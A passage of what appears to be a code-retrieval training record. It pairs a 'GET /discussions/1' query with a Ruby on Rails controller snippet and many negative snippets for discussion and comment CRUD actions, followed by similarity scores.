"def index\n if params[:news_id]\n @news = News.find(params[:news_id])\n @discusses = @news.discusses\n else\n @discusses = Discuss.all\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discusses }\n end\n end",
"def comments\n client.get(\"/#{id}/comments\")\n end",
"def create\n @discussion = Discussion.new(params[:discussion])\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to @discussion, notice: 'Discussion was successfully created.' }\n format.json { render json: @discussion, status: :created, location: @discussion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_discussion\n @discussion = @issue.discussions.find(params[:discussion_id])\n end",
"def list\n comments = Comment.where(post: @post)\n render json: comments, status: 200\n end",
"def unread_discussions\n discussions.find_unread_by(self)\n end",
"def latest_discussion\n latest_discussions(1).first\n end",
"def replies\n Reply.where(:discussion_id => id).order('created_at ASC')\n end",
"def get_data_discussion(json_file)\n\tfile = Rails.root.join('public', json_file);\n\tdata_discussions = JSON.parse(IO.read(file))\nend",
"def create\n @discussion = @issue.discussions.build(discussion_params)\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to lecture_issue_discussion_path(discussion_id: @discussion.id), notice: 'Discussion was successfully created.' }\n format.json { render :show, status: :created, location: @discussion }\n else\n format.html { render :new }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n @discussion.destroy\n\n respond_to do |format|\n format.html { redirect_to discussions_url }\n format.json { head :ok }\n end\n end",
"def show\n @discussion_post = DiscussionPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discussion_post }\n end\n end",
"def new\n @discussion = Discussion.new\n render :new\n end",
"def index\n if current_user.has_role? :admin\n @discussions = Discussion.all\n else\n @classroom = Classroom.find(session[:classroom_id])\n @discussions = Discussion.where(end_at: nil, is_ready: true, classroom_id: @classroom.id)\n @not_ready_discussions = Discussion.where(end_at: nil, is_ready: false)\n end\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discussion }\n end\n end",
"def get_threaded_discussions(course_id, use_source_domain = false)\r\n if !use_source_domain\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS % [course_id]\r\n else\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_USESOURCEDOMAIN % [course_id]\r\n end\r\n\r\n get(relative_url)\r\n end",
"def new\n @discussions = current_user.discussions.order(\"updated_at DESC\")\n #@discussion = Discussion.find(params[:id]) \n @message = @discussion.messages.new\n\n if params[:recipient_id].present?\n @recipient = User.find(params[:recipient_id])\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @post = Post.new\n @board = Board.friendly.find(params[:board_id])\n @posts = @discussion.posts.order(\"created_at\")\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n\n\t\t#Only people who administrate the site can delete the\n\t\t#entire discussions and all contents in it\n\t\t#\n\t\tif self.current_user.is_admin\n\t\t\t@discussion.comment_threads.destroy_all\n\t\t\t@discussion.destroy\n\t\tend\n\n respond_to do |format|\n format.html { redirect_to discussions_url }\n format.json { head :ok }\n end\n end",
"def index\n @communities = Community.all\n\n render json: @communities.to_json(include: {posts: {include: :replies} })\n end",
"def create\n @discussion = current_user.discussions.build(params[:discussion])\n\n respond_to do |format|\n if @discussion.save\n log_add @discussion\n\n format.html { redirect_to discussions_path, flash: { success: 'Discussion had been created.' } }\n format.json { render json: @discussion, status: :created, location: @discussion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to lecture_issue_discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @discussion = Discussion.new(params[:discussion])\n if @discussion.save\n render :partial => 'discussion',\n :locals => {\n :discussion => @discussion,\n :li_number => @discussion.page.discussions.size\n }\n else\n render :xml => @discussion.errors.to_xml, :status => 500\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion = Discussion.includes(:user).find(params[:id])\n\n unless current_user == @discussion.user or current_user.admin?\n redirect_to discussions_path and return\n end\n\n @discussion.comments.each do |c|\n c.destroy\n log_destroy c\n end\n\n @discussion.destroy\n log_destroy @discussion\n\n respond_to do |format|\n format.html { redirect_to discussions_url, flash: { success: \"Discussion had been destroyed.\" } }\n format.json { head :no_content }\n end\n end",
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def create\n\t\t@discussion = Discussion.new(params[:discussion])\n\t\t@discussion.user = self.current_user\n\n\t\trespond_to do |format|\n\t\t\tif @discussion.save\n\t\t\t\tif params[:skills]\n\t\t\t\t\tparams[:skills].uniq.each do |skill_id|\n\t\t\t\t\t\tDiscussionTag.create(:discussion => @discussion, :skill_id => skill_id)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif @discussion.owner.nil?\n\t\t\t\t\t# Tell the whiteboard about this new discussion\n\t\t\t\t\tWhiteboard.createActivity(:created_discussion, \"{user.link} created a new discussion {tag.link}.\", @discussion)\n\t\t\t\telsif @discussion.owner.is_a?(Group)\n\t\t\t\t\tfor user in @discussion.owner.users(:discussion_notifications)\n\t\t\t\t\t\t# @todo I know it was my idea but lets switch to rails 3 polymorphic instead of tag!\n\t\t\t\t\t\tNotification.create(:notifiable_type => @discussion.tag!, :user_id => user.id, :message => \"{triggered.link} created a discussion on {tag.owner.link} go read {tag.link}.\", :link => @discussion.url, :bucket => :discussions)\n\n\t\t\t\t\t\t# Tell the whiteboard about this new discussion if the discussions are public\n\t\t\t\t\t\tif @discussion.owner.permissions.public_discussions\n\t\t\t\t\t\t\tWhiteboard.createActivity(:created_discussion, \"{user.link} created a new discussion {tag.link}.\", @discussion)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# Log a analytic about the discussion creation\n\t\t\t\tself.log_analytic(:discussion_creation, \"New discussion was created.\", @discussion, [], :discussions)\n\n\t\t\t\tformat.html { redirect_to @discussion, notice: 'Discussion was successfully created.' }\n\t\t\t\tformat.json { render json: @discussion, status: :created, location: @discussion }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @discussion.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def comments\n @article = Article.find(params[:id])\n @comments = @article.comments\n\n respond_to do |format|\n format.html \n format.json { render json: @comments, status: :ok }\n end\n end",
"def create\n @board = Board.friendly.find(params[:board_id])\n @discussion = @board.discussions.build(discussion_params)\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to board_discussion_path(@board, @discussion), flash: {success: 'Discussion was successfully created.' } }\n format.json { render action: 'show', status: :created, location: @discussion }\n else\n format.html { redirect_to @board, alert: \"Discussion could not be created.\" }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def discussion(number)\n commit_discussion(number) +\n issue_discussion(number)\n end",
"def GetForum id\n\n APICall(path: \"forums/#{id}.json\")\n\n end",
"def index\n @community_topics = CommunityTopic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @community_topics }\n end\n end",
"def show\n\t\t@forum = Forum.find(params[:id])\n\t\t@topics = @forum.topics.order(\"created_at DESC\")\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @forum }\n\t\tend\n\tend",
"def create\n @discussion = Discussion.new(discussion_params)\n @discussion.user = @user\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to @discussion, notice: 'Discussion was successfully created.' }\n format.json { render :show, status: :created, location: @discussion }\n else\n format.html { render :new }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if params[:topic_id]\n lessons = Lesson.where( topic_id: params[:topic_id] )\n else\n lessons = Lesson.all\n end\n\n respond_to do |format| \n format.html { }\n format.js { }\n format.json { render json: lessons }\n end\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n @discussion.destroy\n head :ok\n end",
"def index\n\t\t@forums = Forum.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @forums }\n\t\tend\n\tend",
"def index\n @problems = Problem.all\n\n render json: @problems\n end",
"def index\n @announcements = Announcement.order(created_at: :desc).all\n render json: @announcements, each_serializer: AnnouncementsSerializer\n end",
"def create\n @discussion = Discussion.new(discussion_params)\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to [@course, @discussion], notice: 'Discussion was successfully created.' }\n format.json { render :show, status: :created, location: @discussion }\n else\n format.html { render :new }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @talk_comment = TalkComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @talk_comment }\n end\n end",
"def discussion_params\n params.require(:discussion).permit(:name, :description, :issue_id, :user_id)\n end"
] |
[
"0.8178684",
"0.7578467",
"0.7578467",
"0.7574891",
"0.7510708",
"0.7504164",
"0.7442654",
"0.7403548",
"0.7198004",
"0.717403",
"0.70452297",
"0.70417637",
"0.702059",
"0.69400394",
"0.69400394",
"0.69400394",
"0.6928606",
"0.68670267",
"0.6846973",
"0.6844735",
"0.67892504",
"0.6740084",
"0.66796476",
"0.66678804",
"0.6645694",
"0.6645476",
"0.6615672",
"0.65751004",
"0.6485533",
"0.6418257",
"0.6381836",
"0.63754743",
"0.63671523",
"0.6362247",
"0.63486123",
"0.63399225",
"0.63399225",
"0.63266397",
"0.6314915",
"0.6295905",
"0.6283813",
"0.6283813",
"0.6283813",
"0.6283813",
"0.6283813",
"0.6283813",
"0.6283813",
"0.6283813",
"0.62745863",
"0.62430227",
"0.62331885",
"0.62304866",
"0.62154716",
"0.6203913",
"0.61914414",
"0.61441135",
"0.61024195",
"0.60928667",
"0.60857767",
"0.60811275",
"0.60806334",
"0.6045623",
"0.6043811",
"0.6029129",
"0.600337",
"0.5987953",
"0.5984467",
"0.5980759",
"0.5975869",
"0.5972581",
"0.5899111",
"0.58821476",
"0.5879044",
"0.58789724",
"0.5873862",
"0.5869471",
"0.58479947",
"0.58468103",
"0.584336",
"0.584336",
"0.584336",
"0.584336",
"0.58362275",
"0.5835712",
"0.5835712",
"0.5831788",
"0.5818196",
"0.57953143",
"0.5789123",
"0.5787481",
"0.5776305",
"0.577473",
"0.5757864",
"0.57362247",
"0.5723593",
"0.5711099",
"0.5710418",
"0.5706861",
"0.5706331",
"0.5694259",
"0.56918126"
] |
0.0
|
-1
|
GET /discussions/1 GET /discussions/1.json
|
def show
@discussion = Discussion.find_by(id: params[:id])
@comment = Comment.new
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n end",
"def discussions(**params)\n client.model(:get, \"/live/#{read_attribute(:id)}/discussions\", params)\n end",
"def index\n @discussions = @issue.discussions.all\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discussion }\n end\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discussion }\n end\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discussion }\n end\n end",
"def index\n @discussions = Discussion.all\n end",
"def index\n @discussions = Discussion.all\n end",
"def index\n @discussions = @project.discussions\n\n respond_to do |format|\n format.html\n format.api\n end\n end",
"def show\n @discussion = Discussion.find(params[:id])\n render :show\n end",
"def show\n @discuss = Discuss.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discuss }\n end\n end",
"def show\n @discussions = @forum.all_discussions\n end",
"def show\n @discussion = Discussion.includes(:user, { :comments => :user }).find(params[:id])\n @comments = @discussion.comments.paginate page: params[:page]\n @comment = @discussion.comments.build\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n end",
"def index\n @discussions = Discussion.paginate page: params[:page], order: \"last_post_at DESC\", per_page: 10\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discussions }\n end\n end",
"def show\n @discussion = Discussion.find(params[:id])\n @posts = @discussion.posts\n\n # Reply form\n @post = Post.new(discussion: @discussion)\n @submit_label = 'Reply'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n rescue ActiveRecord::RecordNotFound\n redirect_to action: 'index', notice: 'Invalid discussion.'\n end",
"def index\n @discussions = Discussion.includes(:user)\n .order('updated_at DESC')\n .paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discussions }\n end\n end",
"def discussion\n Comment.where(\"article_id = ?\", id)\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def show\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discussion }\n end\n end",
"def latest_discussion\n latest_discussions(1).first\n end",
"def set_discussion\n @discussion = Discussion.includes(:posts, :likes).find(params[:id])\n end",
"def index\n @discussions = Discussion.order('updated_at DESC').includes(:posts).all\n end",
"def index\n @comments = DiscussionComment.all\n render json: @comments\n end",
"def show\n# @discussion.replies.paginate(page: params[:page], per_page: 10)\n \n @discussions = @forum.discussions.paginate(page: params[:page], per_page: 10)\n @discussion = Discussion.new\n end",
"def show\n @project = Project.find(session[:current_project])\n @discussion = @project.discussions.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discussion }\n end\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def new\n @project = Project.find(params[:project_id])\n @discussion = @project.discussions.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discussion }\n end\n end",
"def show\n @discussion = Discussion.find(params[:id])\n\n # Unauthorized\n if !@discussion.owner!.nil? && !@discussion.owner!.empty?\n \t@owner = @discussion.owner\n \tif !@owner.member? && !@owner.permissions['public_discussions'] && !currentUser.is_admin\n\t\t\t\tflash[:notice] = \"To see this dicussion you must join the \\\"#{@owner.name}\\\" group\"\n\t\t\t\treturn redirect_to @owner\n \tend\n end\n\n @comment =Comment.new\n\t\tif self.current_user\n\t\t\t@follower = Follower.where(\"user_id = ? && discussion_id = ?\", self.current_user.id, @discussion.id).first\n\t\tend\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n end",
"def index\n @discussions = Discussion.where(course: @course)\n end",
"def new\n @discuss = Discuss.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discuss }\n end\n end",
"def set_discussion\n @discussion = @issue.discussions.find(params[:discussion_id])\n end",
"def show\n @board = Board.find_by_short_form(params[:id])\n\n @discussions = @board.discussions.paginate page: params[:page], order: 'last_post_at desc', per_page: 10\n @discussion = Discussion.new(board: @board)\n @post = Post.new(discussion: @discussion)\n @submit_label = \"New Discussion\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @board }\n end\n end",
"def index\n @project = Project.find(params[:project_id])\n @discussions = @project.discussions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @discussions }\n end\n end",
"def read\n @admin_discussion = AdminDiscussion.find(params[:id])\n @admin_discussion.read_by!(current_user)\n @admin_discussion.discussionable.read_by!(current_user)\n render :nothing => true\n end",
"def index\n @discussions = Discussion.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @discussions }\n end\n end",
"def new\n @discussion = Discussion.new\n render :new\n end",
"def index\n #@discussions = Discussion.where(:owner => nil).order(\"created_at DESC\")\n\t@discussions = Discussion.joins(:comments).\n\t\t\t\t\tselect('discussions.*, count(comments.id) as comments_count').\n\t\t\t\t\twhere(\"discussions.owner IS NULL\").\n\t\t\t\t\tgroup(\"discussions.id\").\n\t\t\t\t\torder('comments_count DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discussions }\n end\n end",
"def index\n @discussions = Discussion.all.sorted\n @discussion = current_user.discussions.new\n\n end",
"def read\n @discussion = current_user.discussions.find(params[:id])\n @discussion && @discussion.read_by!(current_user)\n @discussion.comments.each do |comment|\n comment.read_by!(current_user) unless comment.read_by?(current_user)\n end\n render :nothing => true\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discussion }\n end\n end",
"def show\n @discussion_post = DiscussionPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discussion_post }\n end\n end",
"def create\n @discussion = @issue.discussions.build(discussion_params)\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to lecture_issue_discussion_path(discussion_id: @discussion.id), notice: 'Discussion was successfully created.' }\n format.json { render :show, status: :created, location: @discussion }\n else\n format.html { render :new }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_discussions\n @query_url = params[:url]\n\n # ALWAYS remove trailing slash before get_response calls\n @query_url.chop! if @query_url.end_with?('/')\n\n # checks for specific version number, < 3 skips slashdot\n @api_version = 2 if params[:version] == '2'\n results = {}\n\n # caching discussit API calls\n discuss_it = DiscussIt::DiscussItApi.cached_request(@query_url, @api_version)\n\n @top_raw ||= discuss_it.find_top\n @all_raw ||= discuss_it.find_all.all\n\n @top_results, filtered_top_results = DiscussIt::Filter.filter_threads(@top_raw)\n @all_results, filtered_all_results = DiscussIt::Filter.filter_threads(@all_raw)\n\n @filtered_results = (filtered_all_results + filtered_top_results).uniq\n\n results = {\n total_hits: total_hits_count,\n top_results: {\n hits: top_hits_count,\n results: @top_results\n },\n all_results: {\n hits: all_hits_count,\n results: @all_results\n },\n filtered_results: {\n hits: filtered_hits_count,\n results: @filtered_results\n }\n }\n\n render json: results\n end",
"def create\n @discussion = Discussion.new(params[:discussion])\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to @discussion, notice: 'Discussion was successfully created.' }\n format.json { render json: @discussion, status: :created, location: @discussion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @discussions = current_user.discussions.order(\"updated_at DESC\")\n #@discussion = Discussion.find(params[:id]) \n @message = @discussion.messages.new\n\n if params[:recipient_id].present?\n @recipient = User.find(params[:recipient_id])\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message }\n end\n end",
"def discussions\n @discussions ||= Discussions.new(self.owner)\n end",
"def create\n @discussion = current_user.discussions.new(discussion_params)\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to discussions_path, notice: 'Discussion was successfully created.' }\n format.json { render :show, status: :created, location: @discussion }\n else\n format.html { redirect_to discussions_path, alert: 'Discussion not successfully created' }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def GetForum id\n\n APICall(path: \"forums/#{id}.json\")\n\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n @discussion.destroy\n\n respond_to do |format|\n format.html { redirect_to discussions_url }\n format.json { head :ok }\n end\n end",
"def latest_discussions(num=nil)\n Discussion.latest_for_category(self, num)\n end",
"def create\n @discussion = Discussion.new(params[:discussion])\n if @discussion.save\n render :partial => 'discussion',\n :locals => {\n :discussion => @discussion,\n :li_number => @discussion.page.discussions.size\n }\n else\n render :xml => @discussion.errors.to_xml, :status => 500\n end\n end",
"def show\n @talk_comment = TalkComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @talk_comment }\n end\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n @discussion.destroy\n head :ok\n end",
"def show\n @post = Post.new\n @board = Board.friendly.find(params[:board_id])\n @posts = @discussion.posts.order(\"created_at\")\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n @discussion.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def show\n @announcement = Announcement.find(params[:id])\n render json:@announcement\n end",
"def new\n @discussion = Discussion.new\n if !params[:establish].nil?\n @note = Establish.find(params[:establish]).chapter.find(params[:chapter]).note.find(params[:note])\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.js\n end\n end",
"def discussion(number)\n commit_discussion(number) +\n issue_discussion(number)\n end",
"def discussion(id)\n db = connect()\n return [db.execute('SELECT discussions.*, users.Username FROM discussions INNER JOIN users ON discussions.UserId = users.Id WHERE discussions.Id=?', id), \n db.execute('SELECT posts.*, users.Username FROM posts INNER JOIN users ON posts.userId = users.Id WHERE posts.DiscId=?', id)]\n end",
"def post\n discussion.post\n end",
"def create\n @discussion = Discussion.new(discussion_params)\n @discussion.user = @user\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to @discussion, notice: 'Discussion was successfully created.' }\n format.json { render :show, status: :created, location: @discussion }\n else\n format.html { render :new }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def comments\n client.get(\"/#{id}/comments\")\n end",
"def create\n @board = Board.friendly.find(params[:board_id])\n @discussion = @board.discussions.build(discussion_params)\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to board_discussion_path(@board, @discussion), flash: {success: 'Discussion was successfully created.' } }\n format.json { render action: 'show', status: :created, location: @discussion }\n else\n format.html { redirect_to @board, alert: \"Discussion could not be created.\" }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def replies\n Reply.where(:discussion_id => id).order('created_at ASC')\n end",
"def new_comment(name, discussion_id)\n response = self.class.post(\n @@base_uri + @@comments_uri,\n body: {\"comment\":{\"body\":name,\"discussion_id\":discussion_id,\"document_ids\":[]}}.to_json,\n headers: @headers\n )\n return response\n end",
"def index\n @mdl_forum_discussions = MdlForumDiscussion.all\n end",
"def create\n @discussion = current_user.discussions.build(params[:discussion])\n\n respond_to do |format|\n if @discussion.save\n log_add @discussion\n\n format.html { redirect_to discussions_path, flash: { success: 'Discussion had been created.' } }\n format.json { render json: @discussion, status: :created, location: @discussion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def comments\n @article = Article.find(params[:id])\n @comments = @article.comments\n\n respond_to do |format|\n format.html \n format.json { render json: @comments, status: :ok }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to lecture_issue_discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def show\n @story_comment = StoryComment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story_comment }\n end\n end",
"def show\n @reply = Reply.find(params[:id])\n\n render json: @reply\n end",
"def find_by_id!(id)\n discussion = new(one.find_by_id(id) || raise(RecordNotFound, \"Unable to find a discussion for #{id}.\"))\n discussion.load_comments\n discussion\n end",
"def set_discussion_comment\n @discussion_comment = DiscussionComment.find(params[:id])\n end",
"def index\n if params[:news_id]\n @news = News.find(params[:news_id])\n @discusses = @news.discusses\n else\n @discusses = Discuss.all\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discusses }\n end\n end",
"def show\n @announce = Announce.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @announce }\n end\n end",
"def show\n @announce = Announce.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @announce }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discussion.destroy\n respond_to do |format|\n format.html { redirect_to discussions_url, notice: 'Discussion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @discussion = Discussion.new(discussion_params)\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to [@course, @discussion], notice: 'Discussion was successfully created.' }\n format.json { render :show, status: :created, location: @discussion }\n else\n format.html { render :new }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_data_discussion(json_file)\n\tfile = Rails.root.join('public', json_file);\n\tdata_discussions = JSON.parse(IO.read(file))\nend",
"def topics\n client = Comments.discourse\n @topics = client.latest_topics\n respond_to do |fmt|\n fmt.js { }\n end\n end",
"def show\n @new_comment = Comment.build_from(@discussion, current_user.id, \"\")\n end",
"def index\n @talk_comments = TalkComment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_comments }\n end\n end",
"def discussion_params\n params.require(:discussion).permit(:name, :description, :issue_id, :user_id)\n end",
"def index\n @discussioms = Discussiom.all\n end",
"def destroy\n @discussion = Discussion.find(params[:id])\n\n\t\t#Only people who administrate the site can delete the\n\t\t#entire discussions and all contents in it\n\t\t#\n\t\tif self.current_user.is_admin\n\t\t\t@discussion.comment_threads.destroy_all\n\t\t\t@discussion.destroy\n\t\tend\n\n respond_to do |format|\n format.html { redirect_to discussions_url }\n format.json { head :ok }\n end\n end",
"def link\n \"/forums/discussions/#{uuid}\"\n end",
"def create\n @discussion = Discussion.new(discussion_params)\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to @discussion, notice: 'Discussion was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def show\n\t\t@forum = Forum.find(params[:id])\n\t\t@topics = @forum.topics.order(\"created_at DESC\")\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @forum }\n\t\tend\n\tend",
"def discussion_params\n params.require(:discussion).permit(:title, :user_id)\n end"
] |
[
"0.78855824",
"0.764879",
"0.7442033",
"0.741649",
"0.741649",
"0.741649",
"0.73295057",
"0.73295057",
"0.73012006",
"0.72252136",
"0.7183044",
"0.71306515",
"0.71094894",
"0.7100332",
"0.709193",
"0.7090734",
"0.70024735",
"0.6940598",
"0.6940598",
"0.69377434",
"0.6900812",
"0.6896595",
"0.6879733",
"0.6878852",
"0.68667483",
"0.68469656",
"0.68279463",
"0.68279463",
"0.68279463",
"0.68279463",
"0.68279463",
"0.68279463",
"0.68279463",
"0.68279463",
"0.67550856",
"0.67381465",
"0.6696187",
"0.66947186",
"0.6690495",
"0.6663904",
"0.66532874",
"0.6647249",
"0.66299164",
"0.6573358",
"0.65519696",
"0.65251005",
"0.6521998",
"0.6490311",
"0.64773715",
"0.64729786",
"0.64501417",
"0.64337647",
"0.6414838",
"0.6412341",
"0.63816845",
"0.6360401",
"0.6353542",
"0.6319597",
"0.6204543",
"0.62038517",
"0.6197499",
"0.61921275",
"0.61914206",
"0.617445",
"0.6163728",
"0.615914",
"0.61554885",
"0.61379254",
"0.6124869",
"0.61150104",
"0.6110708",
"0.61089605",
"0.61058885",
"0.60904914",
"0.6076763",
"0.6064675",
"0.60613716",
"0.60461783",
"0.6038304",
"0.60252243",
"0.6021922",
"0.60137427",
"0.6012292",
"0.6012292",
"0.6008327",
"0.6008327",
"0.6008327",
"0.6008327",
"0.6007619",
"0.6000692",
"0.59880114",
"0.59742534",
"0.596673",
"0.59618515",
"0.59604216",
"0.5958157",
"0.59581155",
"0.5933761",
"0.59334284",
"0.59317964"
] |
0.69655836
|
17
|
GET /discussions/1/edit POST /discussions POST /discussions.json
|
def create
@discussion = current_user.discussions.build(discussion_params)
# assigns user_id to first comment when creating discussion
for comment in @discussion.comments
comment.user_id = current_user.id
end
if @discussion.save
redirect_to category_path(@discussion.category_id)
flash[:success] = "Discussion was successfully created."
else
render 'new'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n format.html { redirect_to @discussion, notice: 'Discussion was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
